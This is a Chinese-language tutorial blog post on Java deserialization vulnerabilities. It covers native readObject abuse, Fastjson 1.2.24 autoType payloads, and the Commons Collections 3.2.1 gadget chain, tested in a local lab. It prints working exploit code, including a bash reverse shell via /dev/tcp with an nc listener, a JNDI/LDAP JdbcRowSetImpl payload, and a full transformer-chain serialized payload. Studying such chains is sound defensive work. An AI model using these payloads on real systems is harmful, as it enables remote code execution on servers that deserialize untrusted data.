Java反序列化漏洞学习

Posted on Tue, Aug 9, 2022 Java

Java对象的传输往往通过序列化、反序列化的方式进行,通过调用公用的第三方组件,开发者可以快速实现自己的代码逻辑。比如在在一个HTTP Server中,客户端发送的数据通过序列化转为xml、json等约定格式方便开发、调试,服务端只需要调用API接口即可读取处理数据。不过在实际的应用中,这里的安全问题往往容易被忽略。

Java反序列化漏洞成因

Java中有原生的序列化方法,通过调用java.io.ObjectOutputStream可以将对象转换为字节码,如下所示:

package com.test;
import java.io.*;
public class Book implements Serializable
{
    public String name;
    public int price;
    public Book(String name,int price){
        this.name = name;
        this.price = price;
    }
}
public class Main {
    public static void main(String args[])throws Exception{
        Book s = new Book("Helloworld",9999);
        FileOutputStream f=new FileOutputStream("book.bin");
        ObjectOutputStream os = new ObjectOutputStream(f);
        os.writeObject(s);
        os.close();
    }
}

运行上面的代码,在本地目录可以看到保存book对象的字节码文件

$ xxd book.bin
00000000: aced 0005 7372 000d 636f 6d2e 7465 7374  ....sr..com.test
00000010: 2e42 6f6f 6ba5 0b34 59d8 b59c 4302 0002  .Book..4Y...C...
00000020: 4900 0570 7269 6365 4c00 046e 616d 6574  I..priceL..namet
00000030: 0012 4c6a 6176 612f 6c61 6e67 2f53 7472  ..Ljava/lang/Str
00000040: 696e 673b 7870 0000 270f 7400 0a48 656c  ing;xp..'.t..Hel
00000050: 6c6f 776f 726c 64                        loworld

当读取文件进行反序列化时,调用java.io.ObjectInputStream,不过在反序列化的过程中,java会自动地调用类中的readObject方法。如下所示,如果将类的readObject重载为下面的危险函数,即可实现任意代码执行的效果。

package com.test;
import java.io.*;
public class Book implements Serializable
{
    public String name;
    public int price;
    public Book(String name,int price){
        this.name = name;
        this.price = price;
    }
    private void readObject(ObjectInputStream in) throws IOException{
        String[] cmd = {"bash","-c","bash > /dev/tcp/127.0.0.1/1234 0<&1"};
        Runtime.getRuntime().exec(cmd);
    }
}
public class Main {
    public static void main(String args[])throws Exception{
        Book s = new Book("Helloworld",9999);
        FileOutputStream f = new FileOutputStream("book.bin");
        ObjectOutputStream oos = new ObjectOutputStream(f);
        oos.writeObject(s);
        oos.close();

        FileInputStream fi = new FileInputStream("book.bin");
        ObjectInputStream ois =new ObjectInputStream(fi);
        Book d2=(Book)ois.readObject();
        ois.close();
    }
}

在本地监听1234端口,运行上述代码,即可实现反弹shell。

$ nc -lvn 1234
Listening on [0.0.0.0] (family 2, port 1234)
Connection from 127.0.0.1 41608 received!
id
uid=0(root) gid=0(root) groups=0(root)

上面的这种情况只是为了介绍序列化反序列化的一个例子,实际开发中没有人会在readObject函数中写这样的危险函数,但是Java的第三方库繁多,还是有很多公共组件漏洞有着和上面类似的原理。

Fastjson反序列化漏洞

fastjson在反序列化时有一个非常方便开发人员使用的功能autotype,它允许开发人员不指定被转译的Object类型,自动化地声明对象。下面是一个使用样例,Fastjson的版本为1.2.24

package com.test;
import java.io.*;
import org.apache.commons.io.FileUtils;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

class Book
{
    @JSONField(name = "name")
    public String name;
    @JSONField(name = "price")
    public int price;

    public Book(String name,int price){
        this.name = name;
        this.price = price;
    }
}

public class Main
{
    public static void main(String args[]) throws java.io.IOException  {
        File file = new File(args[0]);
        String poc = FileUtils.readFileToString(file, "UTF-8");
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(poc, Object.class, config, Feature.SupportNonPublicField);
        System.out.println(obj);
    }
}

上面的程序会将命令行参数作为文件路径,读取指定内容作为反序列化的数据。

$ cat book.json
{
    "@type":"com.test.Book",
    "price":1,
    "name":"asd"
}
$ java -jar target/test-1.jar book.json
com.test.Book@7de26db8

从上面可见通过指定“@type”字段,fastjson会将json转译为指定的Object。如果在一个CS架构中,json字符串是从客户端发送过来的,那么攻击者可以通过构造特殊的type,来实现一些意想不到的效果。

{"@type":"java.net.Inet4Address","val":"dnslog.cn"}
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

针对fastjson的利用技巧有多种多样,可以参考https://github.com/safe6Sec/Fastjson学习更多的利用姿势。同时官方针对此问题做了一系列的加固措施,如使用黑名单禁用了危险类,后序的版本中默认禁用了autoType功能。

额外说明一点,并不是所有的类型都是可以被autoType转译的,需要满足以下任意一个条件: 1. 类型中需要存在以get、set开头的方法才能被自动转译 2. 属于fastjson预先声明好的一些类型:InetSocketAddressUUIDURIURLPatternLocaleSimpleDateFormatInetAddressInet4AddressInet6AddressFileTimeZoneCharsetCurrencyJSONPathjava.nio.file.Path,参考自com.alibaba.fastjson.serializer.MiscCodec:deserialze

Apache Commons Collections反序列化漏洞

实验环境:

commons-collections 3.2.1

jdk版本 jdk1.7.0_80

Commons Collections库提供了丰富的数据结构,使数据的收集处理变得容易:

先来学习一下Transforming Decorators这个数据结构,它能在Map添加元素时动态对key、value进行修改,如下:

package com.Exp;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.security.Key;
import java.util.HashMap;
import java.util.Map;

public class ValueWrapper implements Transformer {
// 将value添加前缀“value_”
    public Object transform(Object input) {
        String a = (String) input;
        return (Object) ("value_" + a);
    }
}
class KeyWrapper implements Transformer {
// 将key添加前缀“key_”
    public Object transform(Object input) {
        String a = (String) input;
        return (Object) ("key_" + a);
    }
}
public class Main {
    public static void main(String[] args) throws Exception {
        HashMap<String, String> innerMap = new HashMap<String, String>();
        KeyWrapper k = new KeyWrapper();
        ValueWrapper v = new ValueWrapper();
        Map trsMap = TransformedMap.decorate(innerMap, k, v);
        trsMap.put("1", "helloworld");
        System.out.println(trsMap);
    }
}

运行上面的代码,可以看到下面的结果。所有的key value都加了前缀。

$ java -jar target/cc-1.jar
{key_1=value_helloworld}

在上面的代码中我们使用了自定义的Transformer进行操作。实际上这个库里还有很多已经集成好的Treansformer,其中,有几个关键的类,可以帮助我们构造任意执行的代码。

几个危险的Transformer

  1. InvokerTransformer

    从名字可以看出,该类可以实现方法调用的功能

    举例

    public class Main {
        public static void main(String[] args) throws Exception {
            HashMap<String, Class> innerMap = new HashMap<String, Class>();
            KeyWrapper k = new KeyWrapper();
            ValueWrapper v = new ValueWrapper();
            InvokerTransformer i = new InvokerTransformer("exec", new Class[] { String.class },
                    new Object[] { "touch aaa" });
            Map trsMap = TransformedMap.decorate(innerMap, k, i);
            trsMap.put("aa", Runtime.getRuntime());
            System.out.println(trsMap);
        }
    }
  2. ChainedTransformer

    初始化时传入一个Transformer数组,进行transform时会依次调用

  3. ConstantTransformer

    返回一固定常量

利用上述的几个Transform,可以组合出一个可以执行任意命令的代码。这里不再像上面例子里的代码要求Map为<String,Class>。

public static void main(String[] args) throws Exception {
        HashMap<String, String> innerMap = new HashMap<String, String>();
        KeyWrapper k = new KeyWrapper();
        ValueWrapper v = new ValueWrapper();
        InvokerTransformer i = new InvokerTransformer("exec", new Class[] { String.class },
                new Object[] { "touch aaa" });

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", null }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                        new Object[] { null, null }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "touch aaa" })
        });

        Map trsMap = TransformedMap.decorate(innerMap, k, chain);
        trsMap.put("aa", "bbb");
        System.out.println(trsMap);
    }

接下来我们尝试将构造好的对象写入到文件中。在预设的攻击场景中,服务器读取不受信任的序列化数据,将其转换为Object的时候,即可载入我们的攻击代码。

要完成这一点,我们需要找到一个特殊的类,在调用readObject函数时,能够改变map的值。恰恰刚好,sun.reflect.annotation.AnnotationInvocationHandler这个类完美符合要求。至于如何去搜索这种gadget,业界也有人做过系统的研究,可参考https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf

上面代码中,在调用readObject时,memberValue是一个Map,因此,我们构造一下攻击代码:

public class Main {

    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class
                 },
                 new Object[] { "getRuntime", null }),
                 new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class
                 },
                 new Object[] { null, null }),
                 new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {
                 "touch hacked.txt" })
        });
        HashMap innerMap = new HashMap();
        innerMap.put("value", "aaaa");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        FileOutputStream f = new FileOutputStream("exp.bin");
        ObjectOutputStream oos = new ObjectOutputStream(f);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
    }
}

下面是模拟的受攻击代码

public class Exp {

    public static void main(String[] args) throws Exception {

        FileInputStream fi = new FileInputStream("exp.bin");
        ObjectInputStream ois = new ObjectInputStream(fi);
        Object d = (Object) ois
                .readObject();
        ois.close();
        System.out.println(d.getClass());
    }
}

运行程序,即可在当前目录下创建hack.txt文件

$ java -cp target/cc-1.jar com.Exp.Main
$ java -cp target/cc-1.jar com.Exp.Exp
class sun.reflect.annotation.AnnotationInvocationHandler
$ ls
dependency-reduced-pom.xml  exp.bin  hacked.txt  pom.xml  src  target

复现中遇到的问题

没有执行利用代码?

这里使用的jdk版本为jdk1.7.0_80。在1.8以后,AnnotationInvocationHandler类进行了修复,因此不能再用上述的方法构造,运行时可能会报错

$ java -jar target/cc-1.jar 
javaException in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make sun.reflect.annotation.AnnotationInvocationHandler(java.lang.Class,java.util.Map) accessible: module java.base does not "opens sun.reflect.annotation" to unnamed module @486bb9ce
        at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
        at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
        at java.base/java.lang.reflect.Constructor.checkCanSetAccessible(Constructor.java:191)
        at java.base/java.lang.reflect.Constructor.setAccessible(Constructor.java:184)
        at com.Exp.Main.main(Main.java:45)

实验源代码:https://github.com/hzshang/ccExpTest

参考链接:https://su18.org/post/ysoserial-su18-2/